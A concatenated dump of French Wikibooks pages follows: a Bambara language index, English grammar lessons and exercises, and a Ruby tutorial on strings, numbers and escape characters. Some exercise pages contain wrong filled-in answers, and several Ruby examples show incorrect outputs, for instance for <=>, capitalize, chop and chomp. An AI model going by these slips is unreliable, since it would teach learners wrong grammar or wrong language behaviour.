<!--{{bambara}}--> Le '''bambara''', aussi connu sous le nom de ''bamanankan'', est une langue niger-congo parlée au [[w:Mali|Mali]] par plus de 9 millions de personnes. De nombreuses autres personnes parlent également cette langue, ou des dialectes, dans d'autres pays voisins comme le Burkina Faso, la Côte d'Ivoire et la Gambie. Elle s'écrit à l'aide d'un alphabet latin où on ajoute quelques signes phonétiques. C'est une [[w:Langue agglutinante|langue agglutinante]], essentiellement phonétique. * [[Alphabet bambara]] * [[Grammaire du bambara]] ** [[Genre (bambara)|Genre]] ** [[Pluriels (bambara)|Pluriels]] ** [[Verbes (bambara)|Verbes]] ** [[Pronoms (bambara)|Pronoms]] ** [[Postpositions (bambara)|Postpositions]] ** [[Particules (bambara)|Particules]] ** [[Conjonctions (bambara)|Conjonctions]] ** [[Adverbes (bambara)|Adverbes]] * [[Vocabulaire (bambara)|Vocabulaire]] ** [[Nombres (bambara)|Nombres]] ** [[Relations familiales (bambara)|Relations familiales]] ** [[Animaux (bambara)|Animaux]] == Leçons == * [[Bambara : Leçon 1]] : se présenter * [[Bambara : Leçon 2]] : * [[Bambara : Leçon 3]] : * [[Bambara : Leçon 4]] : == Liens externes == * [[w:Bambara|Bambara]] (Wikipédia) * [[wikt:Catégorie:bambara|Mots Bambara dans Wiktionnaire]] * [http://fr.wiktionary.org/w/wiki.phtml?title=Special:Whatlinkshere&target=Mod%C3%A8le%3Abm Mots français traduits en Bambara] * [http://bm.wikipedia.org Wikipédia en bambara] * [http://wikitravel.org/fr/article/Guide_linguistique_bambara Guide linguistique bambara], sur Wikitravel * [http://languagelab.bh.indiana.edu/Bambara-Intermediate.html An Ka Bamanankan Kan Kalan: Intermediate Bambara], contient beaucoup des sons à telecharger [[en:Bambara]] [[Catégorie:Bambara]] Anglais : Past perfect 2516 28787 2006-01-13T04:59:43Z Shanel 565 /* Exemples */ l'exemple "I didn't understand what it had happened" n'est pas correct. C'est "I didn't understand what had happened to it" :) == Past perfect (simple) == === Emploi === On utilise le past perfect pour situer une action dans le passé par rapport à un autre moment dans le passé, le plus souvent défini par le prétérit. Le past perfect correspond au plus-que-parfait français. === Conjugaison === {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|sujet + had + participe passé (+ complément) |} === Négation === {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|sujet + had not + participe passé (+ complément) |} *On peut contracter had et not en hadn't. === Question === *Wh- question :<br /> {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|Wh- + had + sujet + participe passé (+ complément) ? |} *Yes, no question :<br /> {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|Had + sujet + participe passé (+ complément) ? |} === Exemples === *I didn't understand what had happened to it. *Had you finished it ? == Past perfect (progressif) == === Emploi === On emploie le past perfect progressif pour parler d'actions qui continuaient à un moment du passé. === Conjugaison === {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|sujet + had + been + V-ing (+ complément) |} === Négation === {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|Sujet + had not + been + V-ing (+ complément) |} === Exemples === * I had been waiting for one hour when he arrived. ''Je l'attendais depuis une heure quand il arriva.'' == Application == [[Anglais : Past perfect_Test|Test]] <br />Retour [[Enseignement de l'anglais]] Anglais : can, could, be able to 2517 28726 2006-01-12T06:27:38Z Shanel 565 /* Infinitif, participe présent, participe passé */ ortho __NOTOC__ '''Can''' et '''could''' sont des modaux, ils ne prennent pas de -s à la troisième personne du singulier, ils ne sont jamais suivis de to, la négation et l'interrogation se fait sans ''do''. == Can == === Can : capacité physique et intellectuelle=== On emploie le plus souvent can donner une capacité intellectuelle ou physique actuelle de quelqu'un.<br />Exemples : *He can speak French. ''Il sait parler français.'' *Can you run ? ''Peux-tu courir ?'' === Can : demande polie === Exemple : Can you help me ? ''Peux-tu m'aider ?'' === Can : demande de permission === *Can I eat ? ''Je peux manger ?'' == Can't== '''Can't''' est la négation de can. On l'emploie pour une incapacité. Can't (ainsi que que can à la forme interrogative) peut qualifier le possible, l'impossible. Exemple : *He can't swim. ''Il ne sait pas nager.'' *She can't win. ''Elle ne peut pas gagner.'' (impossible) == Be able to == === Will be able to === Can ne s'emploie pas au futur. On emploie '''will be able to'''. La forme négative de wil be able to est ''won't be able to''.<br />Exemple : *Tomorrow I will be able to do this. ''Demain je pourrai être capable de le faire.'' *He won't be able to come. ''Il ne pourra pas venir.'' === Infinitif, participe présent, participe passé === On utilise également to be able to comme infinitif de can, been able to comme participe passé et being able to comme participe présent. Enfin was able to présente une aptitude occasionnelle dans le passé (could présente une aptitude permanente du passé).<br />Exemples : *Finally, I was able to finish my homework. ''Finallement j'ai pu finir mes devoirs.'' (aptitude occasionnelle) *I have never been able to sleep before ten o'clock. ''Je n'ai jamais réussi à dormir avant 10 heures. == Could == Could est le prétérit et le conditionnel de can. La forme négative de could est couldn't. === Aptitude (inaptitude) permanente === Could présente une aptitude permanente dans le passé. <br />Exemples : *He couldn't understand. ''Il ne pouvait pas comprendre.'' *He could run really fast when he was twenty. ''Il savait courir très vite quand il avait vingt ans.'' === Reproche === * You could help me. ''Tu pourrais m'aider.'' ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- Programmation Ruby Types standards 2519 28337 2006-01-06T11:21:01Z 195.83.221.35 /* Créer une chaine de caractères */ [[Programmation Ruby|<< Retour au sommaire]] Nous allons voir ici tout les types que nous pouvons considérer comme "standards", dans le sens où nous les retrouvons dans la plupart des langages, et que ceux-ci sont directement intégrés à l'interpreteur (''built-in''). Néanmoins il ne faut pas perdre de vue qu'il sagit en réalité d'objets. Pour rappel les méthodes terminant par ''!'' sont non pures : elles modifient l'objet. == Chaîne de caractères == En ruby les chaines de caractères sont représentées par l'objet "''String''". En réalité cet objet contient et permet la manipulation d'un nombre indéfini d'octets, typiquement des caractères, nous pourrons néanmoins y stocker tout type de données binaires ou non. === Créer une chaine de caractères === En ruby il existe une multitude de manière de créer une chaine de caractères, par exemple en créant une instance de l'objet ''String'' : maChaine = String.new("Une chaine de caractères") Mais le moyen le plus courant de créer une chaine est de la placer entre simple quote (') ou entre double quote ("). Néanmoins ces deux moyens ne sont pas équivalents : en utilisant les doubles quotes ruby évaluera les expressions contenues entre ''#{'' et ''}'', ainsi que les [[Programmation Ruby Caractères d'échapements|caractères d'échapements]]. i = 100 puts "la valeur de i est \n #{i}" => La valeur de i est 100 puts 'la valeur de i est \n #{i}' => la valeur de i est \n #{i} Dans une chaine de caractère ''\'' à une valeur particulière, elle permet de placer un [[Programmation Ruby Caractères d'échapements|caractères d'échapements]]. Le caractère ''\'' indique à ruby que le caractère suivant possède une valeur particulière : ainsi "''\n''" représente une nouvelle ligne. Les [[Programmation Ruby Caractères d'échapements|caractères d'échapements]] ne sont pas pris en compte avec une chaine de caractères débutant par un simple quote, néanmoins nous pouvons l'utiliser pour indiquer à Ruby de considérer le simple quote ou le backslash suivant comme faisant parti de la chaine : puts 'un simple quote : \' qui ne ferme pas la chaine, et ici un backslash : \\' => un simple quote : ' qui ne ferme pas la chaine, et ici un backslash : \ Un autre moyen de créer une chaine est d'utiliser ''%q'' ou ''%Q'', qui équivalent respectivement au simple et au double quote. Neanmoins l'utilisation de ''%q'' ou ''%Q'' permet de définir le caractère d'ouverture et de fermeture de la chaine : %q!j'utilise le caractère \: pour ouvrir ou fermer la chaine, ' et " peuvent ainsi être utilisés sans \ ! %q*je peux utiliser n'importe quel caractère non alpha-numérique qui n'est pas dans la chaine elle même* Si nous avons plusieurs lignes de texte à écrire nous pouvons utiliser les caractères ''<<'' suivit d'un identifiant pour créer une chaine ayant les mêmes propriétés qu'une chaine entre double quote, ou les charactères ''<<-'' suivit d'un identifiant entre simple quote pour créer un chaine de caractères ayant les même propriétés qu'une chaine entre simple quote : i = 100 maChaine <<DEBUT une chaine de caractères i vaut #{i} DEBUT => une chaine de caractères i vaut 100 i = 100 maChaine <<-'DEBUT' une chaine de caractères i vaut #{i} DEBUT => une chaine de caractères i vaut #{i} Le dernier moyen d'obtenir une chaine de caractères est d'utiliser la méthode ''to_s'' que la plupart des objets implémentent, ainsi : 42.to_s => "42" === Comparaisons de chaînes === Les chaînes de caractères peuvent être comparées entre elles comme indiqués dans le chapitre [[Programmation Ruby Controle#Expressions booléennes|Expressions booléennes]] grace aux méthodes ''<, <=, ==, >=, >'' "abcdef" <=> "abcde" => 1 "abcdef" <=> "abcdef" => 0 "abcdef" <=> "abcdefg" => -1 "abcdef" <=> "ABCDEF" => 1 #Les caractères majuscule sont supérieurs aux caractères minuscules "abc" <=> "acc" => 1 "a" < "b" => true "a" < "a" => false "a" > "b" => false "a" > "a" => false "a" <= "b" => true "a" <= "a" => true "a" >= "b" => false "a" >= "a" => true "a" == "a" => true "a" == "b" => false "a" != "a" => false "a" != "b" => true La méthode est équivalente à ''<=>'' a part que la casse n'est pas comparé : "abcdef".casecmp("ABCDEF") => 0 === Manipulation de chaines === ==== Taille d'une chaine et index des caractères ==== ===== length ===== ''length'' permet de connaitre la taille d'une chaine de caractères : "Bonjour le monde".length => 16 ===== index et rindex ===== ''index'' renvoi l'index de la première occurence d'une sous chaine dans la chaine de caractères, renvoi ''nil'' si aucune occurence a été trouvée : "hello".index('e') => 1 "hello".index('lo') => 3 "hello".index('a') => nil Si un entier est donné en second paramètre, celui-ci indique l'index où commencer la recherche. "Bonjour le monde".index('o',7) => 12 Nous pouvons également utiliser une [[Programmation Ruby Types standards#Expression rationelle|expression rationelle]]. ''rindex'' effectue le même travail à la différence près que la recherche se fait à partir de la fin de la chaine de caractères : "Bonjour le monde".rindex('o') => 12 Si le second paramètre est présent, la recherche commencera au caractère indiqué : "Bonjour le monde".rindex('o',9) => 4 A noté que si se second paramètre est négatif, alors l'index est compté à partir de la fin de la chaine : "Bonjour le monde".rindex('o',-9) => 4 "Bonjour le monde".rindex('o',-2) => 12 ==== Opérateurs sur les chaines de caractères ==== ===== * ===== L'opérateur de multiplication renvoie une chaine de caractères contenant ''n'' fois la chaine représenté par l'objet : "Ho! " * 3 => Ho! Ho! Ho! ===== + ===== L'opérateur d'addition permet de concaténer deux chaines de caractères : maChaine = "le Monde" "Bonjour " + maChaine => Bonjour le Monde ===== [] et []= ===== L'opérateur ''[]'' permet de récuperer un ou plusieurs caractères faisant parti d'une chaine. Si un entier est passé en paramètre, l'opérateur renverra le code ascii du caractère correspondant (le premier caractère est indéxe par la valeur 0) : maChaine = "Bonjour le monde" maChaine[3] => 106 #Corespond au code ascii du 4ème caractère (j) Si deux entiers sont passés en paramètres, l'opérateur renverra une sous-chaine commençant à l'index passé en premier paramètre et de la longueur indiquée par le second élément : maChaine[1,5] => onjou On peut également indiquer un intervalle : maChaine[1..6] => onjou Il est à noter que si l'index est négatif, ruby compte à partir de la fin de la chaine : maChaine[-3,5] => nde On peut également utiliser une [[Programmation Ruby Types standards#Expression rationelle|expression rationelle]], nous verrons cela plus en détail dans le chapitre correspondant. L'opérateur ''[]='' permet de changer le contenu d'une chaine de caractères. L'utilisation est semblable à celle de ''[]'', à la différence que plutot que de renvoyer un ensemble de caractères, l'opérateur modifiera la chaine : maChaine[3] = "V" puts maChaine => BonVour le monde maChaine[8] = "tout" puts maChaine => Bonjour tout le monde Si deux entiers sont passés en paramètres, ruby remplacera la chaine commençant à l'index passé en première paramètre et d'une longueur passée en second paramètre : maChaine[8,8] = "Roger" puts maChaine => Bonjour Roger maChaine[8..16] = "Roger" puts maChaine => Bonjour Roger On peut directement utiliser une chaine de caractères ou une [[Programmation Ruby Types standards#Expression rationelle|expression rationelle]] : maChaine["Bonjour"] = "Hello" puts maChaine => Hello le monde ==== Formatage de chaine ==== ===== split ===== ''split'' permet de séparer les différents éléments d'une chaine en fonction d'un ou plusieurs délimiteurs, par défaut ceux-ci sont les fins de ligne et les espaces (''\s'', ''\t'', ''\r'',''\n'' et ''\r\n''). La méthode renvoi un tableau contenant les différents éléments : "Bonjour le monde".split => ["Bonjour", "le", "monde"] "B.o.n.j.o.u.r".split('.') => ["B","o","n","j","o","u","r"] Si un entier est donné en paramètre, le tableau résultant n'aura comme nombre d'élément la valeur de cet entier : "B.o.n.j.o.u.r".split('.',3) => ["B","o","njour"] Nous pouvons également utiliser une [[Programmation Ruby Types standards#Expression rationelle|expression rationelle]]. ===== chomp, chomp!, chop et chop! ===== ''chop'' et ''chop!'' permettent de supprimer le dernier caractère d'une chaine, néanmois si les deux dernier caractères sont "''\r\n''", les deux caractères sont supprimés : "Bonjour\r\n".chop => "Bonjour" "Bonjour\n\r".chop => "Bonjour\n" "Bonjour\n".chop => "Bonjour" "Bonjour".chop => "Bonjou" ''chomp'' et ''chomp!'' suppriment le dernier caractère seulement si celui-ci est un caractère de fin de ligne (soit "''\r''", "''\n''\" et "''\r\n''") : "Bonjour".chomp => "Bonjour" "Bonjour\n".chomp => "Bonjour" "Bonjour le monde".chomp => "Bonjour \n le monde" Si une chaine de caractères est donnée en paramètre, celle-ci est supprimé si elle est termine la chaine : "Bonjour".chomp("jour") => "Bon" "Bonjour\r\n".chomp("jour") => "Bonjour\r\n" Pour rappel les méthode finissant par "''!''" sont des méthodes non pures : elles modifient l'objet appelant. ===== downcase, downcase!, upcase, upcase!, swapcase, swapcase!, capitalize et capitalize! ===== ''downcase'' et ''upcase'' permettent de passer respectivement tous les caractères en majuscules ou en minuscules. "BonjOUr".downcase => "bonjour" "BonjOUr".upcase => "BONJOUR" ''swapcase'' inverse la casse : "BonjOUr".swapcase => "bONJouR" ''capitalize'' ne met que le premier caractère en majuscule : "bonjOUr".capitalize => "BonjOUr" ===== '''%''' ===== L'opérateur ''%'' permet de formater la chaine de caractères. Le format utilisé est le même que celui de la fonction ''sprintf'' de ruby et de bien d'autres langages tel le [[Programmation C|''C'']]. Le format est décrit par le caractère ''%'' suivit d'un indicateur optionnel, un indicateur de taille, de précision et de type. Les infidcateurs de types : {|border="1" | Indicateur || Description |- | b || données binaire |- | c || caractère |- | d ou i || nombre entier |- | e || converti un nombre entier sous sa forme exponentielle avec un chiffre avant la virgulle, la précision indique le nombre de chiffre après la virgulle (par défaut 6) |- | E || comme ''e'' mais utilise le caractère majuscule ''E'' pour indiqué l'exponant |- | f || nombre flotant, la précision indique le nombre de chiffres après la virgule |- | g || comme ''e'' mais converti en nombre flotant |- | G || comme ''E'' mais converti en nombre flotant |- | o || nombre octal |- | p || symbole |- | s || chaine de caractères, si une précision est donné, alors elle indique le nombre de caractères |- | u || nombre entier non signé (par d'indicateur de signe) |- | x || hexadecimal en utilisant caractères minuscules (par exemple ''f'') |- | X || hexadecimal en utilisant caractères majuscules (par exemple ''F'') |} Format : {|border="1" | Indicateur || Types applicable || Description |- | ''espace'' || bdeEfgGioxXu || Laisse un espace au début des nombres positifs |- | # || bdeEfgGioxXu || Format alternatif, pour les types ''o'', ''x'', ''X'' et ''b'' préfixe respectivement le résultat par ''0'', ''0x'', ''0X'', et ''0b'' |- | + || bdeEfgGioxXu || Ajoute un ''+'' au début des nombres positifs |- | - || bdeEfgGioxXu || Ajoute un ''-'' au début des nombres négatifs |- | 0 || ''tous'' || Rempli le format avec des ''0'' plutot que des espaces |- | . || ''tous'' || Prend l'argument suivant comme taille, si l'argument est négatif, alligne à gauche |} "%.3s" % 42424242 => "424" Si plusieurs éléments doivent être formatés, il faut passer les paramètres dans un tableau : "%d %04x" % [12.5, 42] => "12 002a" ===== unpack ===== La méthode ''unpack'' permet de décoder des chaînes de caractères (ou contenant des données binaires) en correlation avec une chaîne de format. {|border="1" | Indicateur || Description || Type renvoyé |- | A || Chaîne de caractères en supprimant les caractères vides (espace, tabulation...) || String |- | a || Chaîne de caractères || String |- | B || Extrait les bits de chaque caractère (bit de poids fort en premier) || String |- | b || Extrait les bits de chaque caractère (bit de poids faible en premier) || String |- | C || Extrait un caractère comme un entier non signé || Fixnum |- | c || Extrait un caractère comme un entier signé || Fixnum |- | d || Considère ''sizeof(double)'' caractères comme un double || Float |- | E || Considère ''sizeof(double)'' caractères comme un double en ''little-endian'' || Float |- | e || Considère ''sizeof(float)'' caractères comme un flotant en ''little-endian'' || Float |- | f || Considère ''sizeof(float)'' caractères comme un flotant|| Float |- | G ||Considère ''sizeof(double)'' caractères comme un double dans l'ordre réseau || Float |- | g ||Considère ''sizeof(float)'' caractères comme un flotant dans l'ordre réseau || Float |- | H || Extrait le code hexadécimal de chaque caractère (bit de poids fort en premier) || String |- | h || Extrait le code hexadécimal de chaque caractère (bit de poids faible en premier) || String |- | I || Considère ''sizeof(int)'' caractères comme un entier non signé || Integer |- | i || Considère ''sizeof(int)'' caractères comme un entier signé || Integer |- | L || Considère 4 caractères consécutifs comme un entier long non signé || Integer |- | i || Considère 4 caractères consécutifs comme un entier long signé || Integer |- | M || Décode les chaines "quoted printable" || String |- | m || Décode les chaines en Base64 || String |- | N || Considère 4 caractères consécutifs comme un entier long non signé dans l'ordre réseau|| Fixnum |- | n || Considère 2 caractères consécutifs comme un entier court non signé dans l'ordre du réseau|| Fixnum |- | P || Considère ''sizeof(char *)'' comme un pointeur et renvoi la taille de la chaine ainsi référencée || String |- | P || Considère ''sizeof(char *)'' comme un pointeur sur une chaine terminé par le caractère ''null'' (''\0'') || String |- | S || Considère 2 caractères consécutifs comme un entier court non signé dans l'ordre natif du système || Fixnum |- | s || Considère 2 caractères consécutifs comme un entier court signé dans l'ordre natif du système || Fixnum |- | U || Extrait une chaine encodé au format UTF8 comme des entiers non signés || Integer |- | u || Extrait une chaine encodé en UU || String |- | V || Considère 4 caractères consécutifs comme un entier long non signé en "little endian" || Fixnum |- | v || Considère 2 caractères consécutifs comme un entier court non signé en "little endian" || Fixnum |- | X || Retourne en arrière d'un caractère || N/A |- | x || Avance d'un caractère || N/A |- |Z || Supprime les caractères ''null'' de fin || String |- |@ || Se déplace du nombre donné en argument || N/A |} La chaine de format se compose d'un nombre de directive à piocher dans le tableau précédant, optionnelement suivit d'un nombre indiquant le nombre de fois qu'il faut répeter cette directive, un astérisque (''*'') correspondant a tous les éléments restant. Les directives ''s'',''S'',''i'',''I'',''l'' et ''L'' peuvent être suivit d'un underscore (''_'') indiquant de choisir le format natif du système. Exemples : "abc \0\0abc \0\0".unpack('A6Z6') => ["abc", "abc "] "abc \0\0".unpack('a3a3') => ["abc", " \000\000"] "aa".unpack('b8B8') => ["10000110", "01100001"] "aaa".unpack('h2H2c') => ["16", "61", 97] "\xfe\xff\xfe\xff".unpack('sS') => [-2, 65534] "now=20is".unpack('M*') => ["now is"] "whole".unpack('xax2aX2aX1aX2a') => ["h", "e", "l", "l", "o"] === Itérateurs === Les itérateurs sont un mécanisme puissant de ruby, ils permetent de parcourir les éléments d'un objet. Nous verrons plus tard comment facilement comme étendre sa propre classe avec des itérateurs. Pour chaque type que nous allons voir, nous allons voir ses itérateurs. A l'heure actuelle considérons simplement un itérateur comme une méthode prenant un bloc pour paramètre (et d'ailleurs c'est ce que les itérateurs sont : de simples méthodes). ==== succ, succ! et upto ==== ''succ'' se contente de renvoyer l'élément succédant à la chaine, en pratique ''succ'' incrémente le dernier caractère alphanumérique de la chaine, si celui-ci à ateind sa limite, ''succ'' incrémentera l'avant dernier caractère et ainsi de suite: "abcd".succ => "abce" "THX1138".succ => "THX1139" "<<koala>>".succ => "<<koalb>>" "1999zzz".succ => "2000aaa" ''upto'' itère à travers les valeurs successive d'une chaine, jusqu'a arrivé à la chaine passé en paramètre. La méhode incrémente à partir de la dernière valeur alphanumérique de la chaine : "<<aa>>".upto("<<bb>>") do |i| puts i end => <<aa>> <<ab>> <<ac>> <<ad>> <<ae>> <<af>> <<ag>> <<ah>> <<ai>> <<aj>> <<ak>> <<al>> <<am>> <<an>> <<ao>> <<ap>> <<aq>> <<ar>> <<as>> <<at>> <<au>> <<av>> <<aw>> <<ax>> <<ay>> <<az>> <<ba>> <<bb>> ==== each_byte ==== ''each_byte'' permet d'itérer à travers la chaine de caractères octet par octet, la valeur qui sera envoyée au bloc sera le code ascii (donc un entier) du caractère : "bonjour".each_byte {|i| print i.to_s+" "} => 98 111 110 106 111 117 114 ==== each ==== ''each'' permet d'itérer à travers chaque ligne contenu dans une ''String'' : "H\nA\r\nL\n".each do |i| print i.succ end => IBM Il est à noter que l'itérateur ''each'' est celui appelé par la construction ''for''..''in' : for i in "H\nA\r\nL\r" print i end => IBM == Valeur numérique == En ruby les valeurs numériques sont soit flottante soit entière et sont de taille infinies (jusqu'au limite de mémoire du système). Plus tôt dans le livre nous avons indiqué qu'un type entier est de type ''Integer'', en fait nous avons menti, le type Integer permet en réalité de cacher le type réel de la valeur. En effet pour les valeurs inférieurs aux valeurs d'un entier sur le système (donc en général 32 ou 64 bits) sont en réalité de type ''Fixnum'', au dessus elles seront de types ''Bignum''. En pratique la conversion est transparente pour le développeur : i = 10 5.times do print i.class,"\n" i = i*i end => Fixnum Fixnum Fixnum Fixnum Bignum === Syntaxe === En ruby une valeur numérique peut s'écrire de différente forme, notament en fonction de la base utilisé. Classiquement, une valeur numérique peut s'écrire comme une suite de chiffre, séparé éventuellement par des caractères de soulignement ( ''_'') qui seront ignorés lors de l'interprétation. Une valeur négative est simplement préfixé par le signe moin (''-'') : 42 => 42 4_2 => 42 -42 => -42 On peut également travailler dans une autre base en préfixant la valeur numérique. Ainsi en préfixant avec ''0'' (zéro) on indique l'utilisation d'un nombre en base octale, 0x pour un nombre en héxadécimal et 0b pour un nombre en binaire : 0767 => 503 0xaabb => 43707 0b01101101 => 109 ==== Utilisation ==== Un objet correspondant à une valeur numérique s'instancie simplement en écrivant cette valeur : 4 => 4 4.class => Fixnum Certains objets, comme l'objet ''String'' possède une méthode ''to_i" qui renvoi si possible une valeur entière, et ''to_f'' qui renvoi si possible un flotant : " 58_87".to_i => 5887 Si la chaîne contient des éléments non numérique à l'exception du caractère de soulignement ou du signe moin, la valeur renvoyée sera celle de la première valeur numérique trouvé et précédant les autres caractères : "toto".to_i => 0 "to87to".to_i => 0 "87to".to_i => 87 === Opérateurs === ==== + ==== L'opérateur ''+'' permet d'additionner 2 valeurs numériques : 2+2 => 4 "3+4".to_i => 3 ==== - ==== L'opérateur ''-'' permet de soustraire une valeur numérique à une autre : 42-10 => 32 2-10 => -8 ==== * ==== L'opérateur ''*'' permet de multiplier 2 valeurs numériques : 42*2 => 84 ==== / ==== L'opérateur ''/'' permet de diviser une valeur numérique par une autre : 9/3 => 3 ATTENTION: Le type renvoyé est du type des opérateurs, ainsi si la division n'est pas entière, seul le dividende est renvoyé: 9/4 => 2 par contre, si nous utilisons des flottants, le type renvoyé sera de type flottant : 9.0/4.0 => 2.25 Une division par 0 lève une exception (nous verrons les exceptions plus tard, il suffit de considérer à l'heure actuelle qu'il s'agit d'une erreur) et intérromp le cour du programme si celle-ci n'est pas interceptée : 9/0 => ZeroDivisionError: divided by 0 ==== ** ==== L'opérateur ''**'' permet d'augmenter une valeur numérique à la puissance indiqué en paramètre : 9**2 => 81 9**0 => 1 ==== % ==== L'opérateur ''%'' (modulo) permet de connaître le reste d'une division : 100%30 => 10 === Itérateurs === La classe ''Integer '' propose également certains itérateurs, comme pour tout autres itérateurs ceux-ci prennent un ou plusieurs paramètres ainsi qu'un bloc de code. ==== succ ==== ''succ'' permet de récupérer la valeur numérique suivante : 8.succ => 9 ==== times ==== ''times'' permet de créer une boucle allant de 0 à la valeur de l'objet : 5.times do |val| print val.to_s+'..' end => 0..1..2..3..4.. ==== upto et downto ==== ''upto'' et ''downto'' permetent respectivement d'itérer à partir de la valeur de l'objet jusqu'a la valeur passé en paramètre, respectivement en incrémentant ou en décrémentant : 5.upto(8) do |i| print i.to_s+'..' end => 5..6..7..8.. 8.downto(5) do |i| print i.to_s+'..' end => 8..7..6..5.. 5.downto(8) do |i| print i.to_s+'..' end => 5 ==== step ==== ''step'' ressemble à ''upto'' et ''downto'' à part que l'on peut ici préciser le pas : 5.step(48, 5) do |i| print i.to_s+'..' end #ici le second paramètre corespond au pas => 5..10..15..20..25..30..35..40..45.. == Expression rationelle == Les expressions rationelles (également nommés expressions régulières) sont un mécanisme puissant mais qui peut être complexe. Elles permettent des recherches dans une chaînes de caractères selon des critère ou un modèle de recherche précis. Ceci permet la sélection d'une sous chaîne de caractères, ou la manipulation des chaînes ainsi trouvés (typiquement une substitution). Ruby propose une classe pour l'utilisation des expressions rationelles, les développeurs perl seront heureux car son utilisation en ruby est quasi-identique. Anglais : Prétérit Test 2520 43778 2006-06-02T19:32:13Z 82.252.131.95 /* Solution */ __NOTOC__ == Exercice 1== Transformez les phrases affirmatives en phrases négatives et vice-versa : # I didn't see yesterday. # I was eating. # You not came. # We did work. # They didnt arrive. I did see her yesterday. I wasn't eating. You did come. We didn't worke. They did arrive. == Exercice 2== Former des question au prétérit avec les éléments suivants : # did he watch tv? # did you sleep Did he watching TV? Did you sleep ? == Exercice 3 == Compléter avec le prétrit simple ou composé : # The policemen was arresting________ (to arrest) a man who burgled________ (to burgle) a jewelry. # Iwaited ______ (to wait) but he didn't come________ (not/to come) because he was sleeping ________ (to sleep). == Solution == ==== Exercice 1 ==== # I didn't see her yesterday. # I was eating. # You didn't come. # We worked. # They didn't arrive. ==== Exercice 2 ==== # Did he watch TV ? # Did you sleep ? ==== Exercice 3 ==== # The policemen arrested a man who was burgling a jewelry. # I waited but he didn't come because he was sleeping. <BR> Retour [[Anglais : Prétérit]] Programmation Ruby Caractères d'échapements 2521 14108 2005-02-12T14:34:16Z Ganjo 161 [[Programmation Ruby|<< Retour au sommaire]] {|border="1" | Nom || Description |- | \a || Sonnerie |- | \b || Efface le précédent caractère |- | \e || Efface le caractère suivant |- | \n || Nouvelle ligne |- | \r || Retour en début de ligne |- | \s || Espace |- | \t || Tabulation |- | \v || Tabulation verticale |- | \''nnn'' || Nombre octal ''nnn'' |- | \x''nn'' || Nombre hexadécimal ''nn'' |- | \C-''x'' || Control-''x'' |- | \M-''x'' || Meta-''x'' |- | \M-\C--''x'' || Meta-control-''x'' |} Anglais temps exercices 2522 45469 2006-06-23T12:57:20Z 81.65.31.43 Typo __NOTOC__ == Présent simple == *Traduisez les verbes suivants : # je mange : eat_ # nous sommes en train de marcher : walk___________ # ils dorment : sleep___________ # elle mange : eat__________ # il travaille : work_________ * Même consigne : # elle ne dort pas : sleep___________ # je ne cours pas : run_________ # ils ne boivent pas : drink___________ # nous ne conduisons pas : drive___________ # tu ne parles pas : speak__________ * Formez des questions au présent (simple) à l'aide des éléments proposés : # he / to sleep / well He sleeps well # you / to like / vegetables you like vegetables # they / to play football / every day they play football every day # she / to understand she understands == Présent simple, présent progressif == Complétez avec le présent simple ou le présent progressif selon le plus approprié : # He __is watching_____ (to watch) TV. # I run_____ (to run) every day. # do___ you _speak_____ (to speak) English. # _do__ you _work_____ (to work) ? (Es-tu en train de travailler ?) # I ____________don't remember____ (not/to remember) where he ____lives_ (to live). # Who _talk_______ behind the door ? (to talk) == Conjugaison == Conjuguez les verbes suivants aux formes indiquées : # to eat, 3{{e}} pers. du sing., prétérit simple # to live, 1re pers. du plur., parfait présent progressif # to start, 2{{e}} pers. du sing., parfait présent simple # to see, 3{{e}} pers. du plur., plus parfait passé simple(past perfect) # to watch (TV), 2{{e}} pers. du sing., prétérit progressif == Négation, affirmation == Transposer les verbes suivants à la forme affirmative : # you didn't drink # they hadn't been sleeping # I didn't see # you have not said == Prétérit, present perfect == Complétez les phrases à l'aide du temps approprié : # We ________ (to watch) TV all the night. # When I was a child, I _______ (to hate) fish. # You can't run because you ______________ (to eat) too much. # _______ you _________ (to live) here for long ? # My father _______ (to be) ill for five days. # I __________ (to work) hard this week. # Last year, we ______ (voyager) in Spain. == Solutions == ==== Présent simple ==== Traduisez les verbes suivants : # I eat # we are walking # they sleep # she eats # he works <br /> # she doesn't sleep # I don't run # they don't drink # we don't drive # you don't speak <br /> # Does he sleep well ? # Do you like vegetables ? # Do they play football every day ? # Does she understand ? ==== Présent simple, présent progressif ==== Complétez avec le présent simple ou le présent progressif selon le plus approprié : # He is watching TV. # I run every day. # Do you speak English ? # Are you working ? (Es-tu en train de travailler ?) # I don't remember where he lives. # Who is talking behind the door ? ==== Conjugaison ==== # he, she, it ate # we have been living # you have started # they had seen # you were watching TV ==== Négation, affirmation ==== # you drank # they had been sleeping # I saw # you have said ==== Prétérit, present perfect ==== # We have been watching TV all the night. (on insiste sur la durée, all the night, donc ''progressif'') # When I was a child, I hated fish. # You can't run because you ate too much. # Have you been living here for long ? # My father has been ill for five days. # I have been working hard this week. # Last year, we travelled in Spain. (évènement passé) <BR> Retour [[Enseignement de l'anglais]] Image:Programmation GTK2 en Pascal - gtk005.png 2523 14110 2005-02-12T17:04:59Z Didier 186 Exemple du programme gtk005.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk005.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Anglais : must, mustn't, have to 2524 16159 2005-07-05T12:39:37Z S3b 133 /* Très forte probabilité */ exemple Must et mustn't sont des modaux, ils ne prennent pas de -s à la troisième personne du singulier, ils ne sont jamais suivis de to, la négation et l'interrogation se font sans do. __NOTOC__ == Must == Must s'emploie au présent. Il arrive qu'on l'emploie au discours indirect après un verbe au prétérit.<br /> <table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top><center>sujet + must + verbe (infinitif) </center> </td></tr></table> ==== L'obligation ==== Exemple : You must stop. ''Tu dois arrêter''. ==== Très forte probabilité ==== Exemple : This guy looks very old. He must be over 30! (il a très certainement plus de 30 ans) ==== Déduction ==== On peut aussi 